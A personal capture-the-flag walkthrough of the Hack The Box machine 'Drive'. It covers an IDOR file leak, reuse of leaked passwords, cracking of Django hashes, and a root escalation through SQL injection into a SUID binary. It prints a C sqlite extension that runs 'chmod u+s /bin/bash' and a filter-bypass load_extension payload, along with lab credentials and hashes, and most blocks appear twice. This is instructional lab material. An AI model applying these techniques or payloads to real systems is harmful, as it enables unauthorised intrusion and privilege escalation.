drive

NMAP:

# Nmap 7.94 scan initiated Sat Oct 14 15:10:19 2023 as: nmap -sCV -p22,80 -Pn -n -oN allports 10.10.11.235
Nmap scan report for 10.10.11.235
Host is up (0.78s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 27:5a:9f:db:91:c3:16:e5:7d:a6:0d:6d:cb:6b:bd:4a (RSA)
|   256 9d:07:6b:c8:47:28:0d:f2:9f:81:f2:b8:c3:a6:78:53 (ECDSA)
|_  256 1d:30:34:9f:79:73:69:bd:f6:67:f3:34:3c:1f:f9:4e (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://drive.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Oct 14 15:10:32 2023 -- 1 IP address (1 host up) scanned in 12.77 seconds
# Nmap 7.94 scan initiated Sat Oct 14 15:10:19 2023 as: nmap -sCV -p22,80 -Pn -n -oN allports 10.10.11.235
Nmap scan report for 10.10.11.235
Host is up (0.78s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 27:5a:9f:db:91:c3:16:e5:7d:a6:0d:6d:cb:6b:bd:4a (RSA)
|   256 9d:07:6b:c8:47:28:0d:f2:9f:81:f2:b8:c3:a6:78:53 (ECDSA)
|_  256 1d:30:34:9f:79:73:69:bd:f6:67:f3:34:3c:1f:f9:4e (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://drive.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Oct 14 15:10:32 2023 -- 1 IP address (1 host up) scanned in 12.77 seconds

WEB

this was the page that the port 80 was running
5ea6b7049dc87684459ef62e42ccfc37.png

first thing i did , was to create a new user

with an account, i could upload files
a83ebb39c2a1534541b14745fab92fac.png

it only accepted files of type MIME ascii, so there was not much to do; also, since the file was not stored itself, it just was storing the contents of the file on the DB

eefa1ac3775ac3cb0439075c8bf39567.png

1 thing that i saw interesting, is that you can put a name to the file, and then the name was reflected on teh main paltform; so i thoguht about 2nd orders sqli injection; but after a lot of tries i got nothing

a3a470a31b350662d77fbb9c9f4596df.png
60225dfe1f0b3ec3b5b41dccfa215a54.png

also, i tested for SSTI and XSS, but nothing

there was another funtionality called reserve file

5305debb48042c52e466f554d8aae267.png

when you reserve a file, it can only be seen by you and the groups assigned to the file, however, the file was using an id, and it was a simple number, so you can know what files exists , and which of them you ahd access to
8d593153c921f77626fd40f922b38d93.png

if i try to see a file i had not permissions to see, i get this
f0d78682a7dc22a132a40c39144f7d43.png

with that priciple, i could brute force the files of the machine, and try to use the reserve functionality to reserve a file i could not see

files unaccessible

[Status: 401, Size: 26, Words: 2, Lines: 1, Duration: 302ms]
    * FUZZ: 79

[Status: 401, Size: 26, Words: 2, Lines: 1, Duration: 327ms]
    * FUZZ: 99

[Status: 401, Size: 26, Words: 2, Lines: 1, Duration: 352ms]
    * FUZZ: 98

[Status: 200, Size: 5078, Words: 1147, Lines: 172, Duration: 334ms]
    * FUZZ: 100

[Status: 401, Size: 26, Words: 2, Lines: 1, Duration: 375ms]
    * FUZZ: 101

[Status: 401, Size: 26, Words: 2, Lines: 1, Duration: 302ms]
    * FUZZ: 79

[Status: 401, Size: 26, Words: 2, Lines: 1, Duration: 327ms]
    * FUZZ: 99

[Status: 401, Size: 26, Words: 2, Lines: 1, Duration: 352ms]
    * FUZZ: 98

[Status: 200, Size: 5078, Words: 1147, Lines: 172, Duration: 334ms]
    * FUZZ: 100

[Status: 401, Size: 26, Words: 2, Lines: 1, Duration: 375ms]
    * FUZZ: 101

having those files, i started trying to reserve a file by changing the number using burpsuite when i tryied to reserve my own file
c9fa34f0abd5b081a4fe00aae77f9b5e.png
8eef649749252de810e688af01169809.png

in that way, i could access to other files
c68d43a2c64770fd2b1592481e5fb414.png

so what i did, was to leak all the files that i could not see

those were 79, 99, 101

file 79

hey team after the great success of the platform we need now to continue the work.
on the new features for ours platform.
I have created a user for martin on the server to make the workflow easier for you please use the password "Xk4@KjyrYv8t194L!".
please make the necessary changes to the code before the end of the month
I will reach you soon with the token to apply your changes on the repo
thanks! 
hey team after the great success of the platform we need now to continue the work.
on the new features for ours platform.
I have created a user for martin on the server to make the workflow easier for you please use the password "Xk4@KjyrYv8t194L!".
please make the necessary changes to the code before the end of the month
I will reach you soon with the token to apply your changes on the repo
thanks! 

File 99

hi team
please we have to stop using the document platform for the chat
+I have fixed the security issues in the middleware
thanks! :) 
hi team
please we have to stop using the document platform for the chat
+I have fixed the security issues in the middleware
thanks! :) 

FIle 101

hi team!
me and my friend(Cris) created a new scheduled backup plan for the database
the database will be automatically highly compressed and copied to /var/www/backups/ by a small bash script every day at 12:00 AM
*Note: the backup directory may change in the future!
*Note2: the backup would be protected with strong password! don't even think to crack it guys! :) 
hi team!
me and my friend(Cris) created a new scheduled backup plan for the database
the database will be automatically highly compressed and copied to /var/www/backups/ by a small bash script every day at 12:00 AM
*Note: the backup directory may change in the future!
*Note2: the backup would be protected with strong password! don't even think to crack it guys! :) 

knwoing this information, the user martin should be able to log in with those credentials; so i tryied on the platform , and it worked, and then on the machine and also worked

Creds for Web

martinCruz : Xk4@KjyrYv8t194L!

with that password , i tryed to ssh as user martin, and i could

creds for ssh

martin : Xk4@KjyrYv8t194L!

looking at the users , there was some 3 users + root

users

martin@drive:~$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
git:x:115:119:Git Version Control,,,:/home/git:/bin/bash
martin:x:1001:1001:martin cruz,,,:/home/martin:/bin/bash
cris:x:1002:1002:Cris Disel,,,:/home/cris:/bin/bash
tom:x:1003:1003:Tom Hands,,,:/home/tom:/bin/bash
martin@drive:~$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
git:x:115:119:Git Version Control,,,:/home/git:/bin/bash
martin:x:1001:1001:martin cruz,,,:/home/martin:/bin/bash
cris:x:1002:1002:Cris Disel,,,:/home/cris:/bin/bash
tom:x:1003:1003:Tom Hands,,,:/home/tom:/bin/bash

since they were talking about backups, i went to the backups directory, and download all the files

there was 3 backups adn a db.sqlite3 file
cc61982ed230ad7dc6eccf5a5fbe6146.png
the backups were protected by a strong password, and the db only had useles hashes, since they were not in the correct format for a djanho hash
so nothing to much to do for the moment

there was another thing, and that was the port 3000 was running locally with a gitea page, so what i did , was to forward the port using chisel

martin@drive:~$ ./chisel client 10.10.14.6:9001 R:3000:127.0.0.1:3000
martin@drive:~$ ./chisel client 10.10.14.6:9001 R:3000:127.0.0.1:3000

and in that way i could browse the page

a2a0f9238956585f8e4a9ebf89903f79.png

i checked for what users this platfomr has, and there was 2 users:
cf54a0f772a1728437ca6c026d75f15c.png

since i had creds for martin, i tryied to log in as him to see maybe if he has a repo

it worked , and he has a repo called DoodleGdrive
10e921d05309c9dbb756280f92420f3d.png

so i download it, adn analyze it locally

it contained a sh script which was creating the backups of the server, and it included the password for the backups

kali@kali ~/machines/drive/nmap/backups/doodlegrive $ ls
accounts  db_backup.sh  db.sqlite3  geeks_site  manage.py  media  myApp
kali@kali ~/machines/drive/nmap/backups/doodlegrive $ cat db_backup.sh 
#!/bin/bash
DB=$1
date_str=$(date +'%d_%b')
7z a -p'H@ckThisP@ssW0rDIfY0uC@n:)' /var/www/backups/${date_str}_db_backup.sqlite3.7z db.sqlite3
cd /var/www/backups/
ls -l --sort=t *.7z > backups_num.tmp
backups_num=$(cat backups_num.tmp | wc -l)
if [[ $backups_num -gt 10 ]]; then
      #backups is more than 10... deleting to oldest backup
      rm $(ls  *.7z --sort=t --color=never | tail -1)
      #oldest backup deleted successfully!
fi
rm backups_num.tmp
kali@kali ~/machines/drive/nmap/backups/doodlegrive $ ls
accounts  db_backup.sh  db.sqlite3  geeks_site  manage.py  media  myApp
kali@kali ~/machines/drive/nmap/backups/doodlegrive $ cat db_backup.sh 
#!/bin/bash
DB=$1
date_str=$(date +'%d_%b')
7z a -p'H@ckThisP@ssW0rDIfY0uC@n:)' /var/www/backups/${date_str}_db_backup.sqlite3.7z db.sqlite3
cd /var/www/backups/
ls -l --sort=t *.7z > backups_num.tmp
backups_num=$(cat backups_num.tmp | wc -l)
if [[ $backups_num -gt 10 ]]; then
      #backups is more than 10... deleting to oldest backup
      rm $(ls  *.7z --sort=t --color=never | tail -1)
      #oldest backup deleted successfully!
fi
rm backups_num.tmp

that script cpntained the passoword for the back ups

tar password

H@ckThisP@ssW0rDIfY0uC@n:)

with that, i tryied to extract 1 of the backups, and it worked, and looking at the contents of the db.sqlite , that it contained, it was pretty much the same, but it contained the right hash structure for django

sqlite> select * from accounts_customuser;
16|pbkdf2_sha256$390000$ZjZj164ssfwWg7UcR8q4kZ$KKbWkEQCpLzYd82QUBq65aA9j3+IkHI6KK9Ue8nZeFU=|2022-12-26 06:21:34.294890|1|admin|||admin@drive.htb|1|1|2022-12-08 14:59:02.802351
21|pbkdf2_sha256$390000$npEvp7CFtZzEEVp9lqDJOO$So15//tmwvM9lEtQshaDv+mFMESNQKIKJ8vj/dP4WIo=|2022-12-24 22:39:42.847497|0|jamesMason|||jamesMason@drive.htb|0|1|2022-12-23 12:33:04.637591
22|pbkdf2_sha256$390000$GRpDkOskh4irD53lwQmfAY$klDWUZ9G6k4KK4VJUdXqlHrSaWlRLOqxEvipIpI5NDM=|2022-12-24 12:55:10.152415|0|martinCruz|||martin@drive.htb|0|1|2022-12-23 12:35:02.230289
23|pbkdf2_sha256$390000$wWT8yUbQnRlMVJwMAVHJjW$B98WdQOfutEZ8lHUcGeo3nR326QCQjwZ9lKhfk9gtro=|2022-12-26 06:20:23.299662|0|tomHands|||tom@drive.htb|0|1|2022-12-23 12:37:45
24|pbkdf2_sha256$390000$TBrOKpDIumk7FP0m0FosWa$t2wHR09YbXbB0pKzIVIn9Y3jlI3pzH0/jjXK0RDcP6U=|2022-12-24 16:51:53.717055|0|crisDisel|||cris@drive.htb|0|1|2022-12-23 12:39:15.072407
sqlite> select * from accounts_customuser;
16|pbkdf2_sha256$390000$ZjZj164ssfwWg7UcR8q4kZ$KKbWkEQCpLzYd82QUBq65aA9j3+IkHI6KK9Ue8nZeFU=|2022-12-26 06:21:34.294890|1|admin|||admin@drive.htb|1|1|2022-12-08 14:59:02.802351
21|pbkdf2_sha256$390000$npEvp7CFtZzEEVp9lqDJOO$So15//tmwvM9lEtQshaDv+mFMESNQKIKJ8vj/dP4WIo=|2022-12-24 22:39:42.847497|0|jamesMason|||jamesMason@drive.htb|0|1|2022-12-23 12:33:04.637591
22|pbkdf2_sha256$390000$GRpDkOskh4irD53lwQmfAY$klDWUZ9G6k4KK4VJUdXqlHrSaWlRLOqxEvipIpI5NDM=|2022-12-24 12:55:10.152415|0|martinCruz|||martin@drive.htb|0|1|2022-12-23 12:35:02.230289
23|pbkdf2_sha256$390000$wWT8yUbQnRlMVJwMAVHJjW$B98WdQOfutEZ8lHUcGeo3nR326QCQjwZ9lKhfk9gtro=|2022-12-26 06:20:23.299662|0|tomHands|||tom@drive.htb|0|1|2022-12-23 12:37:45
24|pbkdf2_sha256$390000$TBrOKpDIumk7FP0m0FosWa$t2wHR09YbXbB0pKzIVIn9Y3jlI3pzH0/jjXK0RDcP6U=|2022-12-24 16:51:53.717055|0|crisDisel|||cris@drive.htb|0|1|2022-12-23 12:39:15.072407

with those hashes, i tryied to cracked them on my localhost, with haschat, since the algorith was extremely strong, so it took a while but i got the password for the user tom

tom hash

tomHands : johnmayer7

and i could log in as him

kali@kali ~/machines/drive/exploit $ ssh tom@10.10.11.235
tom@10.10.11.235's password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-164-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun 15 Oct 2023 05:12:45 PM UTC

  System load:           0.0
  Usage of /:            68.7% of 5.07GB
  Memory usage:          30%
  Swap usage:            0%
  Processes:             235
  Users logged in:       1
  IPv4 address for eth0: 10.10.11.235
  IPv6 address for eth0: dead:beef::250:56ff:feb9:1bd8


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sat Oct 14 22:37:09 2023 from 10.10.14.7
tom@drive:~$ ls -la
total 920
drwxr-x--- 6 tom  tom    4096 Oct 14 22:22 .
drwxr-xr-x 6 root root   4096 Dec 25  2022 ..
lrwxrwxrwx 1 root root      9 Sep  6 02:56 .bash_history -> /dev/null
-rw-r--r-- 1 tom  tom     220 Dec 25  2022 .bash_logout
-rw-r--r-- 1 tom  tom    3771 Dec 25  2022 .bashrc
drwx------ 3 tom  tom    4096 Jan  1  2023 .cache
drwx------ 3 tom  tom    4096 Feb  3  2023 .config
-rwSr-x--- 1 root tom  887240 Sep 13 13:36 doodleGrive-cli
-rwxrwxr-x 1 tom  tom     348 Oct 14 22:20 doodle.py
drwx------ 3 tom  tom    4096 Jan  1  2023 .gnupg
drwxrwxr-x 3 tom  tom    4096 Dec 28  2022 .local
-rw-r--r-- 1 tom  tom     807 Dec 25  2022 .profile
-rw-r----- 1 root tom     719 Feb 11  2023 README.txt
-rw-r----- 1 root tom      33 Oct 12 11:55 user.txt
-rw-r--r-- 1 tom  tom      39 Aug 29 05:59 .vimrc
tom@drive:~$ cat user.txt 
6aa43b664e7464c3b5d2218212d8131d
kali@kali ~/machines/drive/exploit $ ssh tom@10.10.11.235
tom@10.10.11.235's password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-164-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun 15 Oct 2023 05:12:45 PM UTC

  System load:           0.0
  Usage of /:            68.7% of 5.07GB
  Memory usage:          30%
  Swap usage:            0%
  Processes:             235
  Users logged in:       1
  IPv4 address for eth0: 10.10.11.235
  IPv6 address for eth0: dead:beef::250:56ff:feb9:1bd8


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sat Oct 14 22:37:09 2023 from 10.10.14.7
tom@drive:~$ ls -la
total 920
drwxr-x--- 6 tom  tom    4096 Oct 14 22:22 .
drwxr-xr-x 6 root root   4096 Dec 25  2022 ..
lrwxrwxrwx 1 root root      9 Sep  6 02:56 .bash_history -> /dev/null
-rw-r--r-- 1 tom  tom     220 Dec 25  2022 .bash_logout
-rw-r--r-- 1 tom  tom    3771 Dec 25  2022 .bashrc
drwx------ 3 tom  tom    4096 Jan  1  2023 .cache
drwx------ 3 tom  tom    4096 Feb  3  2023 .config
-rwSr-x--- 1 root tom  887240 Sep 13 13:36 doodleGrive-cli
-rwxrwxr-x 1 tom  tom     348 Oct 14 22:20 doodle.py
drwx------ 3 tom  tom    4096 Jan  1  2023 .gnupg
drwxrwxr-x 3 tom  tom    4096 Dec 28  2022 .local
-rw-r--r-- 1 tom  tom     807 Dec 25  2022 .profile
-rw-r----- 1 root tom     719 Feb 11  2023 README.txt
-rw-r----- 1 root tom      33 Oct 12 11:55 user.txt
-rw-r--r-- 1 tom  tom      39 Aug 29 05:59 .vimrc
tom@drive:~$ cat user.txt 
6aa43b664e7464c3b5d2218212d8131d

finally, for PE, the user has a binary with SUID permissions, so i transfer it to my machine and analyze it with ghidra

Main

undefined8 main(void)

{
  int iVar1;
  long in_FS_OFFSET;
  char local_58 [16];
  char local_48 [56];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  setenv("PATH","",1);
  setuid(0);
  setgid(0);
  puts(
      "[!]Caution this tool still in the development phase...please report any issue to the developm ent team[!]"
      );
  puts("Enter Username:");
  fgets(local_58,0x10,(FILE *)_IO_2_1_stdin_);
  sanitize_string(local_58);
  printf("Enter password for ");
  printf(local_58,0x10);
  puts(":");
  fgets(local_48,400,(FILE *)_IO_2_1_stdin_);
  sanitize_string(local_48);
  iVar1 = strcmp(local_58,"moriarty");
  if (iVar1 == 0) {
    iVar1 = strcmp(local_48,"findMeIfY0uC@nMr.Holmz!");
    if (iVar1 == 0) {
      puts("Welcome...!");
      main_menu();
      goto LAB_0040231e;
    }
  }
  puts("Invalid username or password.");
LAB_0040231e:
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}
undefined8 main(void)

{
  int iVar1;
  long in_FS_OFFSET;
  char local_58 [16];
  char local_48 [56];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  setenv("PATH","",1);
  setuid(0);
  setgid(0);
  puts(
      "[!]Caution this tool still in the development phase...please report any issue to the developm ent team[!]"
      );
  puts("Enter Username:");
  fgets(local_58,0x10,(FILE *)_IO_2_1_stdin_);
  sanitize_string(local_58);
  printf("Enter password for ");
  printf(local_58,0x10);
  puts(":");
  fgets(local_48,400,(FILE *)_IO_2_1_stdin_);
  sanitize_string(local_48);
  iVar1 = strcmp(local_58,"moriarty");
  if (iVar1 == 0) {
    iVar1 = strcmp(local_48,"findMeIfY0uC@nMr.Holmz!");
    if (iVar1 == 0) {
      puts("Welcome...!");
      main_menu();
      goto LAB_0040231e;
    }
  }
  puts("Invalid username or password.");
LAB_0040231e:
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}
void main_menu(void)

{
  long in_FS_OFFSET;
  char local_28 [24];
  undefined8 local_10;
  
  local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
  fflush((FILE *)_IO_2_1_stdin_);
  do {
    putchar(10);
    puts("doodleGrive cli beta-2.2: ");
    puts("1. Show users list and info");
    puts("2. Show groups list");
    puts("3. Check server health and status");
    puts("4. Show server requests log (last 1000 request)");
    puts("5. activate user account");
    puts("6. Exit");
    printf("Select option: ");
    fgets(local_28,10,(FILE *)_IO_2_1_stdin_);
    switch(local_28[0]) {
    case '1':
      show_users_list();
      break;
    case '2':
      show_groups_list();
      break;
    case '3':
      show_server_status();
      break;
    case '4':
      show_server_log();
      break;
    case '5':
      activate_user_account();
      break;
    case '6':
      puts("exiting...");
                    /* WARNING: Subroutine does not return */
      exit(0);
    default:
      puts("please Select a valid option...");
    }
  } while( true );
}
void main_menu(void)

{
  long in_FS_OFFSET;
  char local_28 [24];
  undefined8 local_10;
  
  local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
  fflush((FILE *)_IO_2_1_stdin_);
  do {
    putchar(10);
    puts("doodleGrive cli beta-2.2: ");
    puts("1. Show users list and info");
    puts("2. Show groups list");
    puts("3. Check server health and status");
    puts("4. Show server requests log (last 1000 request)");
    puts("5. activate user account");
    puts("6. Exit");
    printf("Select option: ");
    fgets(local_28,10,(FILE *)_IO_2_1_stdin_);
    switch(local_28[0]) {
    case '1':
      show_users_list();
      break;
    case '2':
      show_groups_list();
      break;
    case '3':
      show_server_status();
      break;
    case '4':
      show_server_log();
      break;
    case '5':
      activate_user_account();
      break;
    case '6':
      puts("exiting...");
                    /* WARNING: Subroutine does not return */
      exit(0);
    default:
      puts("please Select a valid option...");
    }
  } while( true );
}

the binary had the passwords to log into the main menu were was stored the good stuff;
the main menu has different functions

Show Users list

void show_users_list(void)

{
  long lVar1;
  long in_FS_OFFSET;
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  system(
        "/usr/bin/sqlite3 /var/www/DoodleGrive/db.sqlite3 -line \'SELECT id,last_login,is_superuser, username,email,is_staff,is_active,date_joined FROM accounts_customuser;\'"
        );
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
void show_users_list(void)

{
  long lVar1;
  long in_FS_OFFSET;
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  system(
        "/usr/bin/sqlite3 /var/www/DoodleGrive/db.sqlite3 -line \'SELECT id,last_login,is_superuser, username,email,is_staff,is_active,date_joined FROM accounts_customuser;\'"
        );
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;

show Group List

void show_groups_list(void)

{
  long lVar1;
  long in_FS_OFFSET;
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  system(
        "/usr/bin/sqlite3 /var/www/DoodleGrive/db.sqlite3 -line \'SELECT id,name FROM accounts_g;\'"
        );
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

void show_groups_list(void)

{
  long lVar1;
  long in_FS_OFFSET;
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  system(
        "/usr/bin/sqlite3 /var/www/DoodleGrive/db.sqlite3 -line \'SELECT id,name FROM accounts_g;\'"
        );
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

Show Server Status

void show_server_status(void)

{
  long lVar1;
  long in_FS_OFFSET;
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  system("/usr/bin/sudo -u www-data /opt/server-health-check.sh");
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
void show_server_status(void)

{
  long lVar1;
  long in_FS_OFFSET;
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  system("/usr/bin/sudo -u www-data /opt/server-health-check.sh");
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

Show Server Log

void show_server_log(void)

{
  long lVar1;
  long in_FS_OFFSET;
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  system("/usr/bin/sudo -u www-data /usr/bin/tail -1000 /var/log/nginx/access.log");
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
void show_server_log(void)

{
  long lVar1;
  long in_FS_OFFSET;
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  system("/usr/bin/sudo -u www-data /usr/bin/tail -1000 /var/log/nginx/access.log");
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

Activate user Account

void activate_user_account(void)

{
  size_t sVar1;
  long in_FS_OFFSET;
  char local_148 [48];
  char local_118 [264];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("Enter username to activate account: ");
  fgets(local_148,0x28,(FILE *)_IO_2_1_stdin_);
  sVar1 = strcspn(local_148,"\n");
  local_148[sVar1] = '\0';
  if (local_148[0] == '\0') {
    puts("Error: Username cannot be empty.");
  }
  else {
    sanitize_string(local_148);
    snprintf(local_118,0xfa,
             "/usr/bin/sqlite3 /var/www/DoodleGrive/db.sqlite3 -line \'UPDATE accounts_customuser SE T is_active=1 WHERE username=\"%s\";\'"
             ,local_148);
    printf("Activating account for user \'%s\'...\n",local_148);
    system(local_118);
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
void activate_user_account(void)

{
  size_t sVar1;
  long in_FS_OFFSET;
  char local_148 [48];
  char local_118 [264];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("Enter username to activate account: ");
  fgets(local_148,0x28,(FILE *)_IO_2_1_stdin_);
  sVar1 = strcspn(local_148,"\n");
  local_148[sVar1] = '\0';
  if (local_148[0] == '\0') {
    puts("Error: Username cannot be empty.");
  }
  else {
    sanitize_string(local_148);
    snprintf(local_118,0xfa,
             "/usr/bin/sqlite3 /var/www/DoodleGrive/db.sqlite3 -line \'UPDATE accounts_customuser SE T is_active=1 WHERE username=\"%s\";\'"
             ,local_148);
    printf("Activating account for user \'%s\'...\n",local_148);
    system(local_118);
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

after analyzing all them, i found that the only interesting function to exploit was the activate user account since it was using a SQL query, and was not sanityzing anything; it just was banned some chars

BANNED CHARS

;,',/,whitespaces, it could be bypassed, and execute sql queries; but the difficulty was that the buffer only was of 40 chars 0x28, and ofcorse from the beggining i knew that there was useless to retreive data from the db, since the binary was SUID, so it would be more helpful to execute commands in any way.

Reading about how to exploit a command execution on sqlite, i found this
9dac837a3b7bbc6615b5e2c87093c9c9.png

that is the syntaxis, but it can be much more simplified such as "or load_extension('file_name')--
the thing here, is the bypass and take care with the banned chars; also, i needed to create a valid extension for sqlite3 that executes commands, so i asked chatgpt to do it

she gave me this simple code with a simple ping

9bf8fd9caca7dc22fe98cb00356545ef.png

SQLITE EXTENSION

#include <sqlite3ext.h>
SQLITE_EXTENSION_INIT1

void ping_constructor(void){
    // This code will run immediately when the extension is loaded.
    system("ping -c 3 10.10.14.6");
}

int sqlite3_extension_init(
    sqlite3 *db, char **pzErrMsg, const sqlite3_api_routines *pApi
) {
    int rc = SQLITE_OK;
    SQLITE_EXTENSION_INIT2(pApi);
    rc = sqlite3_create_function(db, "ping", 0, SQLITE_UTF8, 0, 0, 0, 0);
    ping_constructor(); // Call the constructor here.
    return rc;
}
#include <sqlite3ext.h>
SQLITE_EXTENSION_INIT1

void ping_constructor(void){
    // This code will run immediately when the extension is loaded.
    system("ping -c 3 10.10.14.6");
}

int sqlite3_extension_init(
    sqlite3 *db, char **pzErrMsg, const sqlite3_api_routines *pApi
) {
    int rc = SQLITE_OK;
    SQLITE_EXTENSION_INIT2(pApi);
    rc = sqlite3_create_function(db, "ping", 0, SQLITE_UTF8, 0, 0, 0, 0);
    ping_constructor(); // Call the constructor here.
    return rc;
}

i needed to compile it

gcc -shared -fPIC -o ping_test.so ping_extension.c -ldl
gcc -shared -fPIC -o ping_test.so ping_extension.c -ldl

and then i can load it from sqlite; so first i tested it locally

59a4da924424ef9613388c48c426da72.png
and i got the response, so then instead of a ping i did the classi change the permissions of the bash

#include <sqlite3ext.h>
SQLITE_EXTENSION_INIT1

void ping_constructor(void){
    // This code will run immediately when the extension is loaded.
    system("/usr/bin/chmod u+s /bin/bash");
}

int sqlite3_extension_init(
    sqlite3 *db, char **pzErrMsg, const sqlite3_api_routines *pApi
) {
    int rc = SQLITE_OK;
    SQLITE_EXTENSION_INIT2(pApi);
    rc = sqlite3_create_function(db, "ping", 0, SQLITE_UTF8, 0, 0, 0, 0);
    ping_constructor(); // Call the constructor here.
    return rc;
}
#include <sqlite3ext.h>
SQLITE_EXTENSION_INIT1

void ping_constructor(void){
    // This code will run immediately when the extension is loaded.
    system("/usr/bin/chmod u+s /bin/bash");
}

int sqlite3_extension_init(
    sqlite3 *db, char **pzErrMsg, const sqlite3_api_routines *pApi
) {
    int rc = SQLITE_OK;
    SQLITE_EXTENSION_INIT2(pApi);
    rc = sqlite3_create_function(db, "ping", 0, SQLITE_UTF8, 0, 0, 0, 0);
    ping_constructor(); // Call the constructor here.
    return rc;
}

compiled it, and then transfer it to the machine.

first i tested it with the users so i double check that there was not any library issue, and it worked, because i got a permission denied

martin@drive:~$ sqlite3 db.sqlite3 
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> select load_extension('/home/martin/ping3.so');
chmod: changing permissions of '/bin/bash': Operation not permitted
martin@drive:~$ sqlite3 db.sqlite3 
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> select load_extension('/home/martin/ping3.so');
chmod: changing permissions of '/bin/bash': Operation not permitted

having all the pieces togheter, the last thing that i need , and the hardest one, was to creaft the payload.

it was tough, because there was the most improtant chars banned, and specially the space, because if there was not space limit, i could use all in double unicode encoded and that was it, but the space is the real difficulty; so i used a sql online to tested for them until i get no issue on that. also, every time i tested a payload, i was using pspy on another windows to see how the payload was being processed for the app, and how it was readed.

after a lot of tries and changes, i comes with this

t"or-load_extension(char(46,47,97))--

this payload what it did was to load the extension, and using char, bypass the filter of the / , since 47 means /, means . and 97 means a, my file was called a.so and it was located on the directory that i was working

FINAL

doodleGrive cli beta-2.2: 
1. Show users list and info
2. Show groups list
3. Check server health and status
4. Show server requests log (last 1000 request)
5. activate user account
6. Exit
Select option: 5
Enter username to activate account: t"or-load_extension(char(46,47,97))-- 
Activating account for user 't"or-load_extension(char(46,47,97))--'...

doodleGrive cli beta-2.2: 
1. Show users list and info
2. Show groups list
3. Check server health and status
4. Show server requests log (last 1000 request)
5. activate user account
6. Exit
Select option: 6
exiting...
doodleGrive cli beta-2.2: 
1. Show users list and info
2. Show groups list
3. Check server health and status
4. Show server requests log (last 1000 request)
5. activate user account
6. Exit
Select option: 5
